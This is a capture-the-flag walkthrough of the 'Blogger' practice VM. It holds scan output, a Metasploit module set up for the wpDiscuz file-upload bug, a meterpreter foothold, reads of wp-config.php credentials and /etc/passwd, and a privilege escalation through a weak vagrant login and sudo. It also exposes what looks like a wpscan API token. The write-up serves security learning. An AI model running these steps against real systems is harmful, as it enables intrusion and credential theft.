VM – Blogger

netdiscover scan:
Target VM IP = 192.168.56.110

```
Currently scanning: Finished!   |   Screen View: Unique Hosts

3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1    0a:00:27:00:00:10      1      60  Unknown vendor
192.168.56.100  08:00:27:77:fb:0f      1      60  PCS Systemtechnik GmbH
192.168.56.110  08:00:27:c5:97:a2      1      60  PCS Systemtechnik GmbH
```

nmap scan:
TCP port – 22, 80

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 95:1d:82:8f:5e:de:9a:00:a8:07:39:bd:ac:ad:d3:44 (RSA)
|   256 d7:b4:52:a2:c8:fa:b7:0e:d1:a8:d0:70:cd:6b:36:90 (ECDSA)
|_  256 df:f2:4f:77:33:44:d5:93:d7:79:17:45:5a:a1:36:8b (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Blogger | Home
MAC Address: 08:00:27:C5:97:A2 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 294.57 seconds
┌─[root@parrot]─[/home/user]
└──╼ #
```

nmap udp scan:
nothing significant

```
┌─[✗]─[root@parrot]─[/home/user]
└──╼ #nmap -sU blogger.thm
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-12 23:32 +08
Nmap scan report for blogger.thm (192.168.56.110)
Host is up (0.00060s latency).
Not shown: 999 closed ports
PORT    STATE         SERVICE
68/udp open|filtered dhcpc
MAC Address: 08:00:27:C5:97:A2 (Oracle VirtualBox virtual NIC)
```

ssh brutefore not possible:

```
┌─[user@parrot]─[/tmp]
└──╼ $ssh jm3s@blogger.thm
jm3s@blogger.thm: Permission denied (publickey).
┌─[✗]─[user@parrot]─[/tmp]
└──╼ $
```

nikto scan:
nothing significant

```
┌──[user@parrot]─[~]
└─── $nikto -h blogger.thm
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.110
+ Target Hostname:    blogger.thm
+ Target Port:        80
+ Start Time:         2021-06-12 23:32:55 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms
 of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site
in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: b477, size: 5b917dd00e270, mtime: gzip
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x b
ranch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7785 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2021-06-12 23:33:58 (GMT8) (63 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

ffuf directory scan

```
└─── $ffuf -c -r -w /SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://blogger/FUZZ

       /'___\  /'___\           /'___\
      /\ \__/ /\ \__/  __  __  /\ \__/
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
       \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
        \ \_\   \ \_\  \ \____/  \ \_\
         \/_/    \/_/   \/___/    \/_/

      v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://blogger/FUZZ
 :: Wordlist         : FUZZ: /SecLists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

images                  [Status: 200, Size: 4660, Words: 244, Lines: 36]
js                      [Status: 200, Size: 2619, Words: 162, Lines: 25]
css                     [Status: 200, Size: 2358, Words: 128, Lines: 24]
assets                  [Status: 200, Size: 1496, Words: 100, Lines: 20]
server-status           [Status: 403, Size: 272, Words: 20, Lines: 10]
                        [Status: 200, Size: 46199, Words: 21068, Lines: 986]
```

ffuf file scan

```
┌──[user@parrot]─[~]
└──╼ $ffuf -c -r -w /SecLists/Discovery/Web-Content/raft-medium-files.txt -u http://blogger/FUZZ

       /'___\  /'___\           /'___\
      /\ \__/ /\ \__/  __  __  /\ \__/
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
       \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
        \ \_\   \ \_\  \ \____/  \ \_\
         \/_/    \/_/   \/___/    \/_/

      v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://blogger/FUZZ
 :: Wordlist         : FUZZ: /SecLists/Discovery/Web-Content/raft-medium-files.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

index.html              [Status: 200, Size: 46199, Words: 21068, Lines: 986]
.htaccess               [Status: 403, Size: 272, Words: 20, Lines: 10]
.                       [Status: 200, Size: 46199, Words: 21068, Lines: 986]
.html                   [Status: 403, Size: 272, Words: 20, Lines: 10]
.php                    [Status: 403, Size: 272, Words: 20, Lines: 10]
.htpasswd               [Status: 403, Size: 272, Words: 20, Lines: 10]
.htm                    [Status: 403, Size: 272, Words: 20, Lines: 10]
.htpasswds              [Status: 403, Size: 272, Words: 20, Lines: 10]
.htgroup                [Status: 403, Size: 272, Words: 20, Lines: 10]
wp-forum.phps           [Status: 403, Size: 272, Words: 20, Lines: 10]
.htaccess.bak           [Status: 403, Size: 272, Words: 20, Lines: 10]
.htuser                 [Status: 403, Size: 272, Words: 20, Lines: 10]
.ht                     [Status: 403, Size: 272, Words: 20, Lines: 10]
.htc                    [Status: 403, Size: 272, Words: 20, Lines: 10]
:: Progress: [17128/17128] :: Job [1/1] :: 116 req/sec :: Duration: [0:00:50] :: Errors: 0 ::
┌──[user@parrot]─[~]
└──╼ $
```

hidden subdirectory
http://blogger.thm/assets/fonts/blog/
Go to *"/etc/hosts"* , then point target machine ip to blogger.thm to allow webpage to display properly.

This hidden web subdirectory hosted a wordpress installation:
From the output, we can gather that:
1. Outdated wordpress software might be vulnerable to attacks
2. Upload directory accessible to public might mean that once shell is uploaded, triggering reverse shell is as easy as going to the correct directory and click the malicious php file.
3. The way in might be via bruteforcing user j@m3s or jm3s

```
[+] XML-RPC seems to be enabled: http://blogger.thm/assets/fonts/blog/xmlrpc.php
 | Found By: Link Tag (Passive Detection)
 | Confidence: 100%
 | Confirmed By: Direct Access (Aggressive Detection), 100% confidence
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://blogger.thm/assets/fonts/blog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blogger.thm/assets/fonts/blog/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blogger.thm/assets/fonts/blog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blogger.thm/assets/fonts/blog/?feed=rss2, <generator>https://wordpress.org/?v=4.9.8</generator>
 |  - http://blogger.thm/assets/fonts/blog/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.9.8</ge
```

```
[i] User(s) Identified:

[+] j@m3s
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] jm3s
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
```

Bruteforce doesn't yield anything.

Trying with wpscan enumerate vuln plugins
wpscan --url http://blogger.thm/assets/fonts/blog/ --api-token=cP8QzBevN0gbcqOrLFDOK8EanKWZwXsvupFGn4RRsO4 --plugins-detection mixed -e

```
[+] wpdiscuz
 | Location: http://blogger.thm/assets/fonts/blog/wp-content/plugins/wpdiscuz/
 | Last Updated: 2021-05-15T13:40:00.000Z
 | Readme: http://blogger.thm/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt
 | [!] The version is out of date, the latest version is 7.2.2
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://blogger.thm/assets/fonts/blog/wp-content/plugins/wpdiscuz/, status: 200
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Comments - wpDiscuz 7.0.0 - 7.0.4 - Unauthenticated Arbitrary File Upload
 |     Fixed in: 7.0.5
 |     References:
 |      - https://wpscan.com/vulnerability/92ae2765-dac8-49dc-a361-99c799573e61
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24186
 |      - https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/
 |      - https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz
 |
 | Version: 7.0.4 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://blogger.thm/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt
```

exploit for wpdiscuz available

```
┌──[user@parrot]─[/tmp]
└──╼ $searchsploit wpdiscuz
------------------------------------------------------------------------------------------
 Exploit Title
------------------------------------------------------------------------------------------
Wordpress Plugin wpDiscuz 7.0.4 - Unauthenticated Arbitrary File Upload (Metasploit)
------------------------------------------------------------------------------------------
```

how to add metasploit from exploitdb:
https://www.hacknos.com/add-exploit-metasploit-from-exploit-db/

Configure settings in metasploit

```
msf6 exploit(49401) > options

Module options (exploit/49401):

   Name       Current Setting      Required  Description
   ----       ---------------      --------  -----------
   BLOGPATH   ?p=27                yes       Link to the post [/index.php/2020/12/12/post1]
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     blogger.thm          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80                   yes       The target port (TCP)
   SSL        false                no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /assets/fonts/blog/  yes       The base path to the wordpress application
   VHOST                           no        HTTP server virtual host
```

Initial foothold:
gather systeminfo

```
meterpreter > sysinfo
Computer     : ubuntu-xenial
OS           : Linux ubuntu-xenial 4.4.0-206-generic #238-Ubuntu SMP Tue Mar 16 07:52:37 UTC 2021 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
meterpreter >
```

wp-config.php creds, might be useful:

```
/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'sup3r_s3cr3t');

/** MySQL hostname */
define('DB_HOST', 'localhost');
```

contents of passwd file
root, vagrant, ubuntu, james are able to be logged in to.

```
www-data@ubuntu-xenial:/var/www/wordpress/assets/fonts/blog$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
james:x:1002:1002:James M Brunner,,,:/home/james:/bin/bash
```

Crontab files has interesting entries.
Basically a script is run as root:

```
www-data@ubuntu-xenial:/home/james$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/james:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /usr/local/bin/backup.sh
www-data@ubuntu-xenial:/home/james$
```

Every minute,, shell goes to james directory, make a backup and dump it at //tmp.

```
www-data@ubuntu-xenial:/usr/local/bin$ cat backup.sh
cat backup.sh
#!/bin/sh
cd /home/james/
tar czf /tmp/backup.tar.gz *www-data@ubuntu-xenial:/usr/local/bin$
```

Unzip and untar file to get user flag

```
www-data@ubuntu-xenial:/tmp$ ls -lah
ls -lah
total 36K
drwxrwxrwt  7 root     root     4.0K Jun 12 16:39 .
drwxr-xr-x 25 root     root     4.0K Jun 12 14:52 ..
drwxrwxrwt  2 root     root     4.0K Jun 12 14:52 .ICE-unix
drwxrwxrwt  2 root     root     4.0K Jun 12 14:52 .Test-unix
drwxrwxrwt  2 root     root     4.0K Jun 12 14:52 .X11-unix
drwxrwxrwt  2 root     root     4.0K Jun 12 14:52 .XIM-unix
drwxrwxrwt  2 root     root     4.0K Jun 12 14:52 .font-unix
-rw-r--r--  1 root     root      159 Jun 12 16:39 backup.tar.gz
-rw-------  1 www-data www-data   29 Apr  2 08:28 user.txt
www-data@ubuntu-xenial:/tmp$ cat user.txt
cat user.txt
ZmxhZ3tZMHVfRCFEXzE3IDopfQ==
www-data@ubuntu-xenial:/tmp$ cat user.txt|base64 -d
cat user.txt|base64 -d
flag{Y0u_D!D_17 :)}www-data@ubuntu-xenial:/tmp$
```

using weak credentials for user vagrant:
What we basically are going to do is that to use weak credentials for and do a horizontal escalation as vagrant. Then we escalate privilege to root.

```
vagrant@ubuntu-xenial:~$ sudo -l
sudo -l
Matching Defaults entries for vagrant on ubuntu-xenial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User vagrant may run the following commands on ubuntu-xenial:
    (ALL) NOPASSWD: ALL
vagrant@ubuntu-xenial:~$ sudo su
sudo su
root@ubuntu-xenial:/home/vagrant# cd /root
cd /root
root@ubuntu-xenial:~# ls -lah
ls -lah
total 24K
drwx------  3 root root 4.0K Jan 17 12:38 .
drwxr-xr-x 25 root root 4.0K Jun 12 14:52 ..
-rw-r--r--  1 root root 3.1K Oct 22  2015 .bashrc
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root  501 Apr  2 08:29 root.txt
drwx------  2 root root 4.0K Jan 17 12:35 .ssh
root@ubuntu-xenial:~# cat root.txt
cat root.txt
SGV5IFRoZXJlLApNeXNlbGYgR2F1cmF2IFJhaiwgSGFja2VyLCBQcm9ncmFtbWVyICYgRnJlZUxhbmNlci4KVGhpcyBpcyBteSBmaXJzdCBhdHRlbXB0IHR
tZSBhdCB0d2l0dGVyCgpUd2l0dGVyOiBAdGhlaGFja2Vyc2JyYWluCkdpdGh1YjogQHRoZWhhY2tlcnNicmFpbgpJbnNOYWdyYW06IEB0aGVoYWNrZXJzY
QwbjNfWTB1X1AzbjNOcjROM2RfTTMgOil9Cg==
root@ubuntu-xenial:~# cat root.txt | base64 -d
cat root.txt | base64 -d
Hey There,
Myself Gaurav Raj, Hacker, Programmer & FreeLancer.
This is my first attempt to create a room. Let me know if you liked it.
Any issue or suggestions for me. Ping me at twitter

Twitter: @thehackersbrain
Github: @thehackersbrain
Instagram: @thehackersbrain
Blog: https://thehackersbrain.pythonanywhere.com


Here's Your Flag.
flag{W311_DOn3_YOu_P3n3tr4t3d_M3 :)}
root@ubuntu-xenial:~#
```